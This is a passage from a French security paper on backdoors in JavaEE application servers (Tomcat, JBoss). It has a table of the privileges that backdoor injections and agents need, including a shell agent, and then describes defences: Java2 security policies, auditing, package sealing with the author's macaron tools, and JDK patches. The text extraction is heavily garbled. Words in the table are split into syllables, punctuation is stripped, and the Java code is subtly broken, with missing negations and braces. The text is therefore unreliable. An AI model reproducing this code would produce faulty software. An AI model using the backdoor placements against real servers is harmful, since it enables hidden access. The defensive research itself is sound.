alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

